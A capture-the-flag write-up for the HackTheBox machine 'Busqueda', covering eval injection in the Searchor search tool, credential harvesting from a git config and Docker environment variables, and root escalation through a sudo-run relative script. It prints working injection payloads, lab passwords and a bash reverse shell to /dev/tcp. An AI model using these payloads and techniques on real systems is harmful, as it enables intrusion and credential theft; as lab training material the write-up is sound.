HackTheBox "Busqueda"
April 14th, 2023

Introduction
Busqueda is an easy box released on April 8th, 2023 by kavigihan.
User Own
Nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 15:10 EDT
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.63 seconds
The box is running a website called Searcher.
Going to the website http://searcher.htb
, we get the homepage. The website takes a search engine and a query, then generates a valid query for that website. Looking at the bottom of the page, the website uses Flask and Searchor.
Searchor is a CLI tool for generating search queries. Using the query --help
shows this much.

Looking at the source code, we can see:
@click.argument("engine")
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser...")
if copy:
click.echo("link copied to clipboard")
except AttributeError:
print("engine not recognized")
The URL gets created in an eval
, and the query
parameter is wrapped in single quotes. This eval
can be hijacked.
engine=Google&query=hello')#
https://www.google.com/search?q=hello
Commands can be run by using:
engine=Google&query=QUERY', exec('__import__("os").system("ls")') ,'
app.py
templates
This is basically:
eval(f"Engine.Google.search('QUERY', exec('__import__("os").system("ls")') ,'', copy_url=False, open_web=False)")
So the eval
uses our exec
function as an argument which unintentionally runs it.
engine=Google&query=QUERY', exec('__import__("os").system("whoami")') ,'
svc
engine=Google&query=QUERY', exec('__import__("os").system("ls /home/svc")') ,'
user.txt
engine=Google&query=QUERY', exec('__import__("os").system("cat /home/svc/user.txt")') ,'
[USER FLAG HERE]

System Own
Checking the app directory:
drwxr-xr-x 4 www-data www-data 4.0K Apr 3 14:32 .
drwxr-xr-x 4 root root 4.0K Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 templates
Checking the .git
directory:
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .
drwxr-xr-x 4 www-data www-data 4.0K Apr 3 14:32 ..
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 14:35 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 14:35 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 14:35 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 14:35 HEAD
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 hooks
-rw-r--r-- 1 root root 259 Apr 3 15:09 index
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 info
drwxr-xr-x 3 www-data www-data 4.0K Dec 1 14:35 logs
drwxr-xr-x 9 www-data www-data 4.0K Dec 1 14:35 objects
drwxr-xr-x 5 www-data www-data 4.0K Dec 1 14:35 refs
Checking config
:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:[email protected]/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
config
contains credentials for cody
. These credentials also work to login as svc
through SSH.
sudo -l
reveals:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Inside /opt/scripts
:
-rwx--x--x 1 root root 586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 21:23 full-checkup.sh
-rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py
Running sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
:
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Output of full-checkup
:
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1645 │ 19m │ 0 │ online │ 0% │ 30.1mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
MySQL and a new subdomain, gitea.searcher.htb
. Adding that to /etc/hosts
leads to a Gitea page. The login credentials for cody
from before work, but there is nothing of interest.
Output of docker-inspect
after checking the config of MySQL:
Documentation for docker inspect
formatting
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db
{
"Hostname": "f84a6b33fb5a",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd": [
"mysqld"
],
"Image": "mysql:8",
"Volumes": {
"/var/lib/mysql": {}
},
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "db",
"com.docker.compose.version": "1.29.2"
}
}
The administrator
account of Gitea can be logged into with MYSQL_PASSWORD
. This gives us the previously inaccessible source code of the scripts in /opt/scripts
.

scripts
RepositoryThe source code of system-checkup.py
can help us figure out how to exploit it. In the condition for full-checkup
:
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
...
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
system-checkup.py
runs full-checkup.sh
, but only grabs the relative file. This means a custom bash script with the name full-checkup.sh
can be run in a different directory. Putting a reverse shell in the custom bash script will give us access to root.
#!/bin/bash
/bin/bash -l > /dev/tcp/10.10.xx.xx/1234 0<&1 2>&1
cd /tmp
nano full-checkup.sh
[write the code and save here]
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.208] 40362
whoami
root
cat /root/root.txt
[ROOT FLAG HERE]

And that's the box!

Last updated